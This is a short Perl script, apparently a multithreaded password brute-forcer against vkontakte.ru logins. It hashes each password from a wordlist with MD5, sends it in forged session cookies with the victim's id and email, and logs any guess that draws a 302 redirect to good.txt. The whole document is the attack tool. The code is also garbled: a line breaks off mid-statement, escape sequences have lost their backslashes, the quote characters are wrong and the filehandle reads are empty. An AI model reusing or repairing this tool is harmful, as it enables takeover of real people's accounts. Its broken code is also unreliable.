#!/usr/bin/perl

use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;

open (pass, "create(&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{

while (@pass){

$pass = shift @pass;

$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>’tcp’,PeerAddr=>’vkontakte.ru’,PeerPor t=>80);
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0rn”.
"Host: vkontakte.rurn”.
"Accept: */*rn”.
"Content-Type: application/x-www-form-urlencodedrn”.
"User-Agent: Mozillorn”.
"C*****: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5rn”.
"Connection: closernrn”;
$answ = ;
close $sock;
print "$pass $answ”;
if ($answ =~ /302/){
open (good, ‘>>good.txt’);
print good "$id:$pass:$md5n”;
print "$id:$pass:$md5n”;
close good;
exit;}
}

}

goto Next;

sub pass
{
my (@mas);
while (){
push @mas, $_;
last if (@mas == 400);
}
chomp @mas;
return @mas;
}